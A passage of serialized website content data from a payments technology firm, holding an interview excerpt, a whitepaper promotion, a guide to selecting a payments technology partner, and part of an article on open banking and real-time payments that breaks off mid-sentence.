gender.",[],"rich_text$fe8a4d4d-46df-4eec-a50b-2e5bd7dbc0e7",{"variation":437,"version":438,"items":8930,"primary":8931,"id":8942,"slice_type":468,"slice_label":5},[],{"body":8932},[8933,8936,8939],{"type":988,"text":8934,"spans":8935,"direction":445},"If you could give career advice to a woman early on in her career, what would it be?",[],{"type":25,"text":8937,"spans":8938,"direction":445},"Be brave. Have confidence in yourself and have the courage to communicate that confidence in all that you do.",[],{"type":25,"text":8940,"spans":8941,"direction":445},"But also look for people who will give you honest and open feedback – both positive and negative! Listen to this network of ‘trusted allies, absorb what they have to say - even if that’s tough to hear sometimes - and use it to help you grow.",[],"rich_text$a37fa46c-935c-44ea-99dd-e62eeb6189f8",{"variation":437,"version":438,"items":8944,"primary":8945,"id":8953,"slice_type":468,"slice_label":5},[],{"body":8946},[8947,8950],{"type":988,"text":8948,"spans":8949,"direction":445},"If you weren’t the COO of Form3, what would be your dream career?",[],{"type":25,"text":8951,"spans":8952,"direction":445},"Tough one… but if it could involve a little shop by the sea, selling beautiful dresses and fabulous accessories with a cute café sitting alongside it, then that would be great!",[],"rich_text$96f9e77a-3741-45a5-808c-5a115ded8b48",{"id":8955,"uid":8956,"type":3743,"data":8957},"alzyXxEAACoAUWDv","the-payments-extinction-event-form3-gocardless",{"title":8958,"excerpt":8959,"card_image":8960,"published_date":8965,"reading_time":506,"tag":3992,"dek":527,"featured_image":8966,"about_form3":8972,"client_about_heading":5,"client_about_body":8973,"author_name":5,"author_title":5,"author_photo":8974,"author_bio":8975,"author_linkedin":8976,"slices":8977,"meta_title":8958,"meta_description":8959},"The payments extinction event: What’s next after the death of legacy infrastructure?","Legacy payments are falling short. As customer demand for real-time, seamless experiences grows, and the subscription economy expands, real-time account-to-account (A2A) payments are fast becoming the new standard. In our joint whitepaper, Form3 and GoCardless explore how banks and businesses can modernise their infrastructure, reduce costs, and future-proof their payments by embracing agility and the right partnerships.",{"dimensions":8961,"alt":8958,"copyright":5,"url":8962,"id":8963,"edit":8964},{"width":412,"height":412},"\u002F_prismic-media\u002Ff489e554d7514943-vsbrbWqD5ANAaN6w_the-payments-extinction-event-f.png","vsbrbWqD5ANAaN6w",{"x":398,"y":398,"zoom":399,"background":400},"2025-07-01",{"dimensions":8967,"alt":8968,"copyright":5,"url":8969,"id":8970,"edit":8971},{"width":423,"height":424},"Form3 x GoCardless","\u002F_prismic-media\u002F193f631e85e2afe3-Y7HaOl7vdzNsKTRX_aGJLEnfc4bHWi1WN.png","Y7HaOl7vdzNsKTRX",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[8978],{"variation":437,"version":527,"items":8979,"primary":8980,"id":9019,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":8981,"body":8985,"cta_label":5,"cta_link":8998,"aside_type":6213,"aside_image":9004,"aside_video":9005,"aside_video_poster":9006,"aside_video_reduced_motion":9007,"aside_video_url":5,"aside_embed":9008,"pardot_form_url":8817,"form_submit_label":8818,"form_variant":6220,"form_heading":8819,"redirect_on_success":9009,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[8982],{"type":746,"text":8983,"spans":8984,"direction":445},"Download the full report",[],[8986,8990,8993],{"type":25,"text":8987,"spans":8988,"direction":445},"Legacy payments are falling short. As customer demand for real-time, seamless experiences grows, and the subscription economy expands, real-time account-to-account (A2A) payments are fast becoming the new standard.",[8989],{"start":398,"end":628,"type":593},{"type":25,"text":8991,"spans":8992,"direction":445},"In our joint whitepaper, Form3 and GoCardless explore how banks and businesses can modernise their infrastructure, reduce costs, and future-proof their payments by embracing agility and the right partnerships.",[],{"type":25,"text":8994,"spans":8995,"direction":445},"Download the full whitepaper to explore the opportunities, challenges, and strategies shaping the future of payments.",[8996],{"start":398,"end":8997,"type":593},117,{"link_type":536,"key":8999,"kind":8807,"id":9000,"url":9001,"name":9002,"size":9003},"79ee195d-7638-4321-a94f-127c5053dc08","MrQBRk6jXkNndTRC","\u002F_prismic-media\u002F608e6511d3a1bf3c-MrQBRk6jXkNndTRC_The_Payments_Extinction_Event_F.pdf","The_Payments_Extinction_Event_Form3_GoCardless.pdf","2251278",{},{"link_type":536},{},{},{},{"id":9010,"type":6224,"tags":9011,"lang":14,"slug":6226,"first_publication_date":9012,"last_publication_date":6228,"uid":9013,"url":9014,"data":9015,"link_type":542,"key":9018,"isBroken":6235},"anvMkxIAACsANquB",[],"2026-08-12T01:39:45+0000","download-the-payments-extinction-event-form3-gocardless","\u002Fcampaigns\u002Fdownload-the-payments-extinction-event-form3-gocardless",{"title":9016,"heading":9017},"Payments extinction event — thank you","Thanks — your report is ready","55921441-d427-48be-9d8e-ef2fa50c9e98","content_block$49707c4c-8c36-443f-900b-885e9890ded0",{"id":9021,"uid":9022,"type":3743,"data":9023},"alz0UBEAACgAUWWP","your-guide-to-selecting-the-right-payments-technology-partner",{"title":9024,"excerpt":9025,"card_image":9026,"published_date":9031,"reading_time":1355,"tag":3751,"dek":9025,"featured_image":9032,"about_form3":9033,"client_about_heading":5,"client_about_body":9034,"author_name":5,"author_title":5,"author_photo":9035,"author_bio":9036,"author_linkedin":9037,"slices":9038,"meta_title":9024,"meta_description":9025},"Your guide to selecting the right payments technology partner","The key questions and considerations when embarking on a journey to modernise your payments infrastructure.",{"dimensions":9027,"alt":9024,"copyright":5,"url":9028,"id":9029,"edit":9030},{"width":412,"height":412},"\u002F_prismic-media\u002Fe15d28b8fb3c8182-y7xDo8Yz_rnbuHUk_your-guide-to-selecting-the-rig.png","y7xDo8Yz_rnbuHUk",{"x":398,"y":398,"zoom":399,"background":400},"2021-03-17",{},[],[],{},[],{"link_type":434},[9039,9066,9142,9317],{"variation":437,"version":438,"items":9040,"primary":9041,"id":9065,"slice_type":468,"slice_label":5},[],{"body":9042},[9043,9046,9053,9059,9062],{"type":25,"text":9044,"spans":9045},"Transforming a payments infrastructure that has grown organically over time can seem like a daunting task. Endless customisation, expensive on-premise technology and point-to-point connectivity with multiple systems can turn even the most trivial of changes into a significant undertaking.  ",[],{"type":25,"text":9047,"spans":9048},"The pace of change in the banking industry has increased the urgency to address the need for remote operations and new service delivery models. In a report by the FCA in February 2021, the average number of changes for a financial services firm was 35,000 a year. The impact of Covid has also seen 5-year technology plans accelerated to under a year, while electronic payment volumes are growing exponentially thanks to the digital revolution.",[9049],{"start":9050,"end":4496,"type":489,"data":9051},163,{"link_type":491,"url":9052,"target":493},"https:\u002F\u002Fwww.fca.org.uk\u002Fpublications\u002Fmulti-firm-reviews\u002Fimplementing-technology-change#lf-chapter-id-governance-and-management-the-drivers-of-technology-change",{"type":25,"text":9054,"spans":9055},"Building real-time capabilities and adaptability for future innovation is becoming increasingly important. The only way to successfully adopt a low cost, scalable and agile payments operational model is to choose new architectures that leverage APIs and micro-services to deliver a robust and flexible foundation for future product and service innovation.\n\nThis guide is divided into 2 parts:",[9056],{"start":9057,"end":9058,"type":593},357,392,{"type":25,"text":9060,"spans":9061},"1.    Key considerations when transforming your payments infrastructure",[],{"type":25,"text":9063,"spans":9064},"2.    Four big questions you should ask of potential payments technology providers",[],"rich_text$41799e12-d75d-42d2-b08f-ab8e1b232659",{"variation":437,"version":438,"items":9067,"primary":9068,"id":9141,"slice_type":468,"slice_label":5},[],{"body":9069},[9070,9073,9078,9081,9084,9087,9091,9094,9097,9100,9103,9106,9110,9113,9116,9120,9123,9126,9129,9132,9135,9138],{"type":988,"text":9071,"spans":9072,"direction":445},"Part 1: Key considerations when modernising your payments infrastructure",[],{"type":25,"text":9074,"spans":9075,"direction":445},"Define a clear vision and roadmap",[9076],{"start":398,"end":9077,"type":593},33,{"type":25,"text":9079,"spans":9080,"direction":445},"You will need a compelling vision around which to rally your people. This should outline the cost benefits and reduced risk, while also highlighting the opportunities to develop new products and services. Also consider how you can realise those early wins, particularly for multi-year programmes. How fast can the organisation run?",[],{"type":25,"text":9082,"spans":9083,"direction":445},"The roadmap for change should align with your digital strategy and help to future proof product and service innovation.",[],{"type":25,"text":9085,"spans":9086,"direction":445},"Providing clarity up-front will help your organisation make future decisions that align with your strategy.",[],{"type":25,"text":9088,"spans":9089,"direction":445},"Organise your teams for success",[9090],{"start":398,"end":690,"type":593},{"type":25,"text":9092,"spans":9093,"direction":445},"Moving to a cloud-based, payments technology as a service model will require a shift away from traditional on-premise thinking of the past few decades. Working with fast paced fintechs will require a different, open mindset across the organisation, with flexibility on both sides; from C-level leaders to project teams:",[],{"type":1151,"text":9095,"spans":9096,"direction":445},"Check that your risk appetite and risk policies are fit-for-purpose. They may be optimised for on-premise solutions, but may need updating to adapt to cloud based managed service models.",[],{"type":1151,"text":9098,"spans":9099,"direction":445},"Is your organisation ready to adopt new ways of working and co-create? Agile methods require more than tools and techniques; the organisation must be set up to support this. Throwing requirements over the fence between teams won’t cut it any more.",[],{"type":1151,"text":9101,"spans":9102,"direction":445},"Ensure your operating model is ready for a payments technology as a service model. The organisation design may benefit from aligning with a DevOps way of working; Command Centres that have dealt with layers of triage and escalation may need to consider how to work with API subscription model; operational teams may indeed benefit from the simplicity offered by a SaaS arrangement.",[],{"type":25,"text":9104,"spans":9105,"direction":445},"Educating your operational, procurement and other internal functions on the fundamental differences between ‘As A Service’ vendors and legacy application providers will help smooth the transformation journey.",[],{"type":25,"text":9107,"spans":9108,"direction":445},"De-risk customer migration",[9109],{"start":398,"end":5574,"type":593},{"type":25,"text":9111,"spans":9112,"direction":445},"Given the critical importance of payments, explore ways to protect you and your customers from the impacts of change. Understand how the change will impact customer journeys to help plan each of your transition states and migration events.",[],{"type":25,"text":9114,"spans":9115,"direction":445},"Depending on the complexity of your customer base, different strategies may apply, from a big bang migration to a phased approach across dimensions such as customer type, sort code, inbound \u002F outbound and payment type. Other measures include running a sandbox environment in parallel to the existing solution before cut-over.",[],{"type":25,"text":9117,"spans":9118,"direction":445},"Key design decisions",[9119],{"start":398,"end":7460,"type":593},{"type":25,"text":9121,"spans":9122,"direction":445},"Big questions to address include:",[],{"type":1151,"text":9124,"spans":9125,"direction":445},"Agree the critical success factors. How important are speed to market, reducing the total cost of ownership, increased reliability, simplification, or the opportunity to expand?",[],{"type":1151,"text":9127,"spans":9128,"direction":445},"What are the main regulatory obligations and what are the likely assurances required?",[],{"type":1151,"text":9130,"spans":9131,"direction":445},"How should we connect to the cloud and which cloud service provider(s) should we use? Some organisations opt for a multi-public cloud strategy offering greater flexibility and help achieve compliance goals.",[],{"type":1151,"text":9133,"spans":9134,"direction":445},"How do we ensure resilience, stability and security?",[],{"type":1151,"text":9136,"spans":9137,"direction":445},"How will the build fit with the existing environment (i.e. how can we keep the lights on?)",[],{"type":1151,"text":9139,"spans":9140,"direction":445},"What payments platform do we use?",[],"rich_text$95195a01-9d7c-4fae-93e4-297bed8a9592",{"variation":437,"version":438,"items":9143,"primary":9144,"id":9316,"slice_type":468,"slice_label":5},[],{"body":9145},[9146,9149,9152,9157,9163,9167,9170,9173,9176,9179,9183,9187,9194,9198,9207,9212,9217,9224,9228,9233,9238,9243,9247,9252,9260,9264,9268,9272,9279,9283,9296,9300,9304,9308],{"type":988,"text":9147,"spans":9148,"direction":445},"Part 2: The 4 big questions all banks should ask when choosing a payments technology partner",[],{"type":25,"text":9150,"spans":9151,"direction":445},"When selecting a payment technology provider, we believe you should set the bar high and ask searching questions to establish the right partner for your needs.",[],{"type":25,"text":9153,"spans":9154,"direction":445},"A traditional approach to vendor selection involves issuing an RFP to assess providers based on a pre-determined set of questions. We believe it is more important to spend time with the organisation, align objectives, plan and culture. This isn’t about a tick box exercise of what functionality is in a product but about capability to deliver it together. ",[9155],{"start":9156,"end":3188,"type":593},166,{"type":25,"text":9158,"spans":9159,"direction":445},"Meeting functional requirements should be a given. We believe ongoing access to capability is a key differentiator. Whatever the solution implemented, you can guarantee that it will continue to evolve. Therefore, you need access to the very best technical and product skills to future-proof your investments.  \n",[9160],{"start":9161,"end":9162,"type":593},310,311,{"type":25,"text":9164,"spans":9165,"direction":445},"A truly world class partner will:\n",[9166],{"start":398,"end":9077,"type":593},{"type":25,"text":9168,"spans":9169,"direction":445},"1.    Be a good cultural fit",[],{"type":25,"text":9171,"spans":9172,"direction":445},"2.    Offer outstanding technology, born in the cloud",[],{"type":25,"text":9174,"spans":9175,"direction":445},"3.    Demonstrate a proven track record of onboarding",[],{"type":25,"text":9177,"spans":9178,"direction":445},"4.    Be a partner you can continue to rely on after the sales pitch",[],{"type":25,"text":9180,"spans":9181,"direction":445},"1 - Establishing a good cultural fit",[9182],{"start":398,"end":3852,"type":593},{"type":25,"text":9184,"spans":9185,"direction":445},"“How do you add value to your customers?”",[9186],{"start":398,"end":1977,"type":765},{"type":25,"text":9188,"spans":9189,"direction":445},"A best-in-class provider will demonstrate a genuine partnering approach, moving beyond a supplier\u002Fcustomer relationship, for example to bring best practice insight and guidance to your teams. Written responses from providers, coupled with follow up conversation should give a sense of the cultural fit: from product to onboarding to engineering.",[9190,9191],{"start":1251,"end":1029,"type":593},{"start":9192,"end":9193,"type":593},289,301,{"type":25,"text":9195,"spans":9196,"direction":445},"“What is your product roadmap?”",[9197],{"start":398,"end":690,"type":765},{"type":25,"text":9199,"spans":9200,"direction":445},"A good response will provide clear signals of transparency towards customers. Vendors that go above and beyond should also demonstrate a collaborative approach to co-creation.",[9201,9204],{"start":9202,"end":9203,"type":593},46,58,{"start":9205,"end":9206,"type":593},137,150,{"type":25,"text":9208,"spans":9209,"direction":445},"2 - Outstanding technology, born in the cloud",[9210],{"start":398,"end":9211,"type":593},45,{"type":25,"text":9213,"spans":9214,"direction":445},"“Many providers say they are cloud native. How do I distinguish between them?”",[9215],{"start":398,"end":9216,"type":765},78,{"type":25,"text":9218,"spans":9219,"direction":445},"Truly cloud-native technology takes advantage of distributed microservices infrastructure, with built-in resilience and flexibility this enables. Hosting legacy applications in the cloud may simply transfer existing problems elsewhere.",[9220,9221,9223],{"start":3407,"end":2223,"type":593},{"start":3092,"end":9222,"type":593},115,{"start":5702,"end":4105,"type":593},{"type":25,"text":9225,"spans":9226,"direction":445},"“How much downtime can I expect during an upgrade?”",[9227],{"start":398,"end":1250,"type":765},{"type":25,"text":9229,"spans":9230,"direction":445},"Put simply, the best answer for a contemporary payments provider is zero downtime. The most progressive service providers adopt a CI\u002FCD (Continuous Integration \u002F Continuous Deployment) approach.",[9231],{"start":9232,"end":3289,"type":593},68,{"type":25,"text":9234,"spans":9235,"direction":445},"“Provide examples of the lengths you go to keep information safe”",[9236],{"start":398,"end":9237,"type":765},65,{"type":25,"text":9239,"spans":9240,"direction":445},"Best-in-class information security goes beyond a mere tick box exercise of assurances and certifications. The most passionate infosec practitioners will demonstrate to you how security is built into the fabric of the provider’s DNA, from pairing-up engineers to utilising the latest tools.",[9241],{"start":9242,"end":3305,"type":593},188,{"type":25,"text":9244,"spans":9245,"direction":445},"3 - A proven track record of onboarding",[9246],{"start":398,"end":4219,"type":593},{"type":25,"text":9248,"spans":9249,"direction":445},"“What does a typical implementation look like?”",[9250],{"start":398,"end":9251,"type":765},47,{"type":25,"text":9253,"spans":9254,"direction":445},"You should receive a clear and proven approach to scheme on-boarding and migration. A shift in language from ‘implementation’ to ‘customer onboarding’ indicates a provider able to rapidly add you to already-live services. The best partners will offer dedicated support and access to subject matter experts throughout the relationship.",[9255,9256,9257],{"start":703,"end":5574,"type":593},{"start":690,"end":846,"type":593},{"start":9258,"end":9259,"type":593},251,268,{"type":25,"text":9261,"spans":9262,"direction":445},"“How quickly can you stand-up your service?”",[9263],{"start":398,"end":2674,"type":765},{"type":25,"text":9265,"spans":9266,"direction":445},"A partnering approach to onboarding, with API based integration will allow for rapid deployment. Early access to API documentation, a staging environment and scheme simulators will give your engineers a leg-up when it comes to development.",[9267],{"start":1486,"end":629,"type":593},{"type":25,"text":9269,"spans":9270,"direction":445},"4 - A partner you can continue to rely on",[9271],{"start":398,"end":1977,"type":593},{"type":25,"text":9273,"spans":9274,"direction":445},"\"What is your pricing structure (...and don't leave anything out)?\"\n\nPricing structures provide insight into a company’s culture and competence. A simple, transparent charging model with a fixed onboarding fee shows confidence in the provider’s ability to deliver and gives you an accurate picture of exactly how much it costs to process a payment. Separate upgrade, maintenance and other hidden fees plus additional T&M billing may not align with your best interests.",[9275,9276,9278],{"start":398,"end":9232,"type":765},{"start":5103,"end":9277,"type":593},153,{"start":753,"end":9156,"type":593},{"type":25,"text":9280,"spans":9281,"direction":445},"“In the event of an incident, who from your team is on point to investigate it?”",[9282],{"start":398,"end":3872,"type":765},{"type":25,"text":9284,"spans":9285,"direction":445},"Multiple layers of triage and support typically slow down the incident management process. The most effective companies must demonstrate a robust service model, 24x7x365 support, automated incident management with a DevOps approach. Public-facing incident pages are a sign of transparency and coordination. Having the engineer who built the feature on hand to troubleshoot the issue from the start is by far the quickest and most effective way to resolve problems.",[9286,9288,9291,9293],{"start":9287,"end":2675,"type":593},139,{"start":9289,"end":9290,"type":593},161,177,{"start":3299,"end":9292,"type":593},208,{"start":9294,"end":9295,"type":593},216,222,{"type":25,"text":9297,"spans":9298,"direction":445},"“How do you ensure we keep pace with the market?”",[9299],{"start":398,"end":2868,"type":765},{"type":25,"text":9301,"spans":9302,"direction":445},"Gone are the days of expensive customisation. Using a multi-tenanted platform means that all customers benefit from the enhancements they are driving forward. This provides economies of scale and ultimately frees up your people to focus on customer propositions and channels.",[9303],{"start":3963,"end":855,"type":593},{"type":25,"text":9305,"spans":9306,"direction":445},"“How can our people learn more about your service?”",[9307],{"start":398,"end":1250,"type":765},{"type":25,"text":9309,"spans":9310,"direction":445},"A holistic approach to sharing knowledge encompasses training, meeting SMEs and on-demand access to a library of information. Anything less is insufficient. ",[9311,9313,9314],{"start":9312,"end":3407,"type":593},53,{"start":1658,"end":2651,"type":593},{"start":3872,"end":9315,"type":593},89,"rich_text$c6e1ad3c-d457-4d83-bcee-f5ca1bdc4d27",{"variation":437,"version":438,"items":9318,"primary":9319,"id":9341,"slice_type":468,"slice_label":5},[],{"body":9320},[9321,9323,9326,9329,9332,9335,9338],{"type":988,"text":4445,"spans":9322,"direction":445},[],{"type":25,"text":9324,"spans":9325,"direction":445},"There has never been a better time to modernise your payments infrastructure. Adopting a Payments Technology as a Service platform significantly lowers capital expenditure when compared to managing and maintaining expensive and rigid on-premise systems.  It also lowers operational risk as the constraints of legacy internal IT systems are removed through the agility enabled by a cloud-based service models.",[],{"type":25,"text":9327,"spans":9328,"direction":445},"Imagine if your payments architecture was simplified, with straightforward API integration into the payments processing engine. What if changes were managed on your behalf? What if scaling happened automatically as demand increases? What if deployments could happen with zero downtime? What if resilience and security were baked-in from the start?",[],{"type":25,"text":9330,"spans":9331,"direction":445},"By moving to a cloud-native, fully managed service, you can reduce risk and cost, improve the payment experience and open new possibilities for your people to add value to your customers.\n",[],{"type":25,"text":9333,"spans":9334,"direction":445},"Set yourself up for success up-front, by clarifying your vision and roadmap, think about how to organise your teams, and agree key design principles.",[],{"type":25,"text":9336,"spans":9337,"direction":445},"Select a best-in-class payments technology partner by asking differentiating questions listed above. These will establish who is the best cultural fit, who offers outstanding technology, and who you can rely on long after the sales pitch is done and dusted.",[],{"type":25,"text":9339,"spans":9340,"direction":445},"This will ensure you select the best, and most appropriate partner for your needs.",[],"rich_text$f6a7332b-fb2c-4c2e-ba04-d1214e3d7231",{"id":9343,"uid":9344,"type":3743,"data":9345},"alz0SBEAACcAUWV8","the-key-to-open-bankings-success-global-adoption-of-real-time-payments",{"title":9346,"excerpt":9347,"card_image":9348,"published_date":9353,"reading_time":1130,"tag":3751,"dek":9347,"featured_image":9354,"about_form3":9355,"client_about_heading":5,"client_about_body":9356,"author_name":5,"author_title":5,"author_photo":9357,"author_bio":9358,"author_linkedin":9359,"slices":9360,"meta_title":9346,"meta_description":9347},"The Key to Open Banking’s Success? Global Adoption of Real-Time Payments","Despite its impressive growth figures, there are still indications that the full benefits of open banking have yet to be realised. Its general reliance on banks still using batch processing is hindering the digital payments experience. By leveraging real-time payments systems, open banking can deliver on its promises and provide its full benefits to the merchants, acquirers and the consumer.",{"dimensions":9349,"alt":9346,"copyright":5,"url":9350,"id":9351,"edit":9352},{"width":412,"height":412},"\u002F_prismic-media\u002Fa24cd3c36219465d-O8Foms_2zwcwBpc6_the-key-to-open-bankings-succes.png","O8Foms_2zwcwBpc6",{"x":398,"y":398,"zoom":399,"background":400},"2021-04-22",{},[],[],{},[],{"link_type":434},[9361,9394,9408,9437,9465,9488,9505,9525,9548,9574],{"variation":437,"version":527,"items":9362,"primary":9363,"id":9393,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":9364,"body":9365,"cta_label":5,"cta_link":9380,"aside_type":533,"aside_image":9381,"aside_video":9388,"aside_video_poster":9389,"aside_video_reduced_motion":9390,"aside_video_url":5,"aside_embed":9391,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":9392,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[9366,9377],{"type":25,"text":9367,"spans":9368,"direction":445},"Open banking is becoming more widespread. The UK’s OBIE (Open Banking Implementation Entity) reported that the number of open banking users doubled from January to September 2020. With the EU looking to introduce open banking in the coming years, some reports claim that open banking has ‘delivered on every count’.",[9369,9372],{"start":1250,"end":3853,"type":489,"data":9370},{"link_type":491,"url":9371,"target":493},"https:\u002F\u002Fwww.google.co.uk\u002Furl?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwja3Kai0d_vAhWKhf0HHQCkCbkQFjAAegQIBBAD&url=https%3A%2F%2Fwww.openbanking.org.uk%2Fabout-us%2F&usg=AOvVaw3bc6-ooGrtQ3WhaLbCG_cG",{"start":9373,"end":9374,"type":489,"data":9375},247,265,{"link_type":491,"url":9376,"target":493},"https:\u002F\u002Fwww.accenture.com\u002F_acnmedia\u002FPDF-102\u002FAccenture-Open-Banking-Real-Time-Payments-Europe.pdf#zoom=50",{"type":25,"text":9378,"spans":9379,"direction":445},"But despite its impressive growth figures, there are still indications that the full benefits of open banking have yet to be realised. ",[],{"link_type":434},{"dimensions":9382,"alt":5,"copyright":5,"url":9385,"id":9386,"edit":9387},{"width":9383,"height":9384},1994,1015,"\u002F_prismic-media\u002Ff276f28d76dc5007-nlrmTihHhVJnhyK4_022cf712-a21b-4baf-9254-299c6de.png","nlrmTihHhVJnhyK4",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$c3133d88-27dd-487b-b725-34a6187904f9",{"variation":437,"version":438,"items":9395,"primary":9396,"id":9407,"slice_type":468,"slice_label":5},[],{"body":9397},[9398,9401,9404],{"type":25,"text":9399,"spans":9400,"direction":445},"One of the main reasons for this stems from open banking’s general reliance on banks still using batch processing, which is preventing access to real-time payments.",[],{"type":25,"text":9402,"spans":9403,"direction":445},"Real-time payments systems coupled with the use of APIs are currently providing the instantaneous transactions that the modern customer expects in various services – just not universally in the banking industry yet and not for Open Banking transactions.",[],{"type":25,"text":9405,"spans":9406,"direction":445},"As such, the global and uniform integration of real-time payments systems can help bring about the full benefits of open banking.",[],"rich_text$abfaff83-b0bd-42c5-b427-7e119e68fadd",{"variation":437,"version":438,"items":9409,"primary":9410,"id":9436,"slice_type":468,"slice_label":5},[],{"body":9411},[9412,9415,9421,9424,9427,9430,9433],{"type":988,"text":9413,"spans":9414,"direction":445},"What are the problems with open banking?",[],{"type":25,"text":9416,"spans":9417,"direction":445},"To better understand why open banking is not quite living up to its potential just yet, it’s important to look at the three areas that it was designed to solve.",[9418],{"start":1977,"end":855,"type":489,"data":9419},{"link_type":491,"url":9420,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fblog\u002Faccelerating-innovation-in-financial-services",{"type":25,"text":9422,"spans":9423,"direction":445},"Open banking was intended to be:",[],{"type":1151,"text":9425,"spans":9426,"direction":445},"Ubiquitous -- but not everyone provides open banking yet and the UX differs depending on the provider",[],{"type":1151,"text":9428,"spans":9429,"direction":445},"Available 24\u002F7 -- but acquirers don’t have a real-time view of what is happening",[],{"type":1151,"text":9431,"spans":9432,"direction":445},"Instantaneous -- but merchants have to wait for updates from acquirers.",[],{"type":25,"text":9434,"spans":9435,"direction":445},"Given how many businesses are now using open banking, the lack of value they extract from these processes could have significant knock-on effects.",[],"rich_text$c8aca822-8c62-49d6-b108-3f55a9e651cd",{"variation":437,"version":438,"items":9438,"primary":9439,"id":9464,"slice_type":468,"slice_label":5},[],{"body":9440},[9441,9444,9450,9456,9461],{"type":988,"text":9442,"spans":9443,"direction":445},"How many businesses are using open banking?",[],{"type":25,"text":9445,"spans":9446,"direction":445},"Since March 2020, 50% of those surveyed across the UK’s small business community confirmed they are using open banking service providers. ",[9447],{"start":2769,"end":703,"type":489,"data":9448},{"link_type":491,"url":9449,"target":493},"https:\u002F\u002Fwww.openbanking.org.uk\u002Fwp-content\u002Fuploads\u002FOBIE-SME-Research-Infographic.pdf",{"type":25,"text":9451,"spans":9452,"direction":445},"With SMEs accounting for 99.9% of the business population, that’s a massive proportion of the economy that doesn’t see the full benefits of a service meant to revolutionise the payments industry. In turn that means that a substantial number of businesses are not extracting maximum value from open banking.",[9453],{"start":1066,"end":3041,"type":489,"data":9454},{"link_type":491,"url":9455,"target":493},"https:\u002F\u002Fwww.fsb.org.uk\u002Fuk-small-business-statistics.html#:~:text=SMEs%20and%20the%20Economy%3A,in%20the%20UK%20private%20sector.",{"type":25,"text":9457,"spans":9458,"direction":445},"Is that really a case of ‘delivering on every count’ ? as claimed by Accenture’s 2019 report on open banking and real-time payments.",[9459],{"start":5574,"end":1250,"type":489,"data":9460},{"link_type":491,"url":9376,"target":493},{"type":25,"text":9462,"spans":9463,"direction":445},"But some businesses do extract more value from open banking by taking advantage of B2B real-time payments systems.",[],"rich_text$d480c6be-b7e1-4ebc-bc5b-eb053cfa162c",{"variation":437,"version":438,"items":9466,"primary":9467,"id":9487,"slice_type":468,"slice_label":5},[],{"body":9468},[9469,9472,9475,9478,9484],{"type":988,"text":9470,"spans":9471,"direction":445},"A closer look at B2B real-time payments",[],{"type":25,"text":9473,"spans":9474,"direction":445},"Many bank transactions take place under batch processing or using off-line or batch notifications.",[],{"type":25,"text":9476,"spans":9477,"direction":445},"Batch processing is how multiple transactions are bundled up together and cleared all at once. The problem with batch processing is that it instils uncertainty into the system for everyone. You can’t know for sure whether your transaction will go through in 15 minutes, or a couple of hours, or a day.",[],{"type":25,"text":9479,"spans":9480,"direction":445},"Real-time payments, on the other hand, work by linking up the various systems that need to communicate with each other with plugged-in APIs. This takes the ‘delay’ time down to a matter of milliseconds.",[9481],{"start":4586,"end":9287,"type":489,"data":9482},{"link_type":491,"url":9483,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fblog\u002Fwhy-financial-institutions-are-banking-on-cloud-native-technology-to-stay-competitive",{"type":25,"text":9485,"spans":9486,"direction":445},"But what does this look like in the real world of B2B transactions?",[],"rich_text$6f912c7e-a177-4e2b-b1c1-805303d21964",{"variation":437,"version":438,"items":9489,"primary":9490,"id":9504,"slice_type":468,"slice_label":5},[],{"body":9491},[9492,9495,9501],{"type":988,"text":9493,"spans":9494,"direction":445},"How B2B real-time payments systems work",[],{"type":25,"text":9496,"spans":9497,"direction":445},"Real-time payments systems like Form3 enable merchants and acquirers to receive and release funds immediately.",[9498],{"start":3485,"end":846,"type":489,"data":9499},{"link_type":491,"url":9500,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fabout",{"type":25,"text":9502,"spans":9503,"direction":445},"In practical terms, this means that a corner shop owner (the merchant), having taken a payment on a card machine in their store (the transaction), can be offered the funds from the transaction instantly by their acquirer (Visa, Mastercard or PayPal). The same concept of instant payout from the acquirer should also be available with open banking but this is often not the case.",[],"rich_text$9639e82c-be10-4eca-9253-c076bf09ddf7",{"variation":437,"version":438,"items":9506,"primary":9507,"id":9524,"slice_type":468,"slice_label":5},[],{"body":9508},[9509,9512,9515,9518,9521],{"type":988,"text":9510,"spans":9511,"direction":445},"A better customer experience through real-time payments systems",[],{"type":25,"text":9513,"spans":9514,"direction":445},"So what are the main benefits for merchants and end customers where real-time payments, and by extension, fully realised open banking, are concerned?",[],{"type":1151,"text":9516,"spans":9517,"direction":445},"Merchants have real-time access to cash and improved cash flows",[],{"type":1151,"text":9519,"spans":9520,"direction":445},"End customers don’t get anxious, wondering where their money has gone.",[],{"type":25,"text":9522,"spans":9523,"direction":445}," How does this compare to the current payments experience?",[],"rich_text$baee9815-0d7e-439e-876a-ddbc94dc6bc6",{"variation":437,"version":438,"items":9526,"primary":9527,"id":9547,"slice_type":468,"slice_label":5},[],{"body":9528},[9529,9532,9535,9538,9541,9544],{"type":988,"text":9530,"spans":9531,"direction":445},"Why open banking currently isn’t working for merchants",[],{"type":25,"text":9533,"spans":9534,"direction":445},"For a start, open banking is difficult for merchants to access as they have to go through regulated entities or their merchant acquirers.",[],{"type":25,"text":9536,"spans":9537,"direction":445},"Of the regulated entities & acquirers that offer open banking as an alternative way to pay, a significant number aren’t set up for real-time payments, which as we’ve seen minimises the benefits of open banking.",[],{"type":25,"text":9539,"spans":9540,"direction":445},"As a consequence, experiences are rendered sub-optimal for almost all users and end-customers, in particular, who have no idea where their money is at any time. If these customers wanted to find out what was happening to their money, there’s a high probability that the companies processing their transactions wouldn’t be able to tell them. They’ve maybe had a confirmation that the transaction was processed, but because they (or their regulated partner) are not directly connected to Faster Payments, but where is the actual money and can the merchant see that cash in their account?",[],{"type":25,"text":9542,"spans":9543,"direction":445},"This experience is bad even for small transactions. For large transactions, this scenario can cause genuine panic, which often translates into long calls lodged with payment providers, draining internal resources as teams deal with avoidable complaints.",[],{"type":25,"text":9545,"spans":9546,"direction":445},"Until 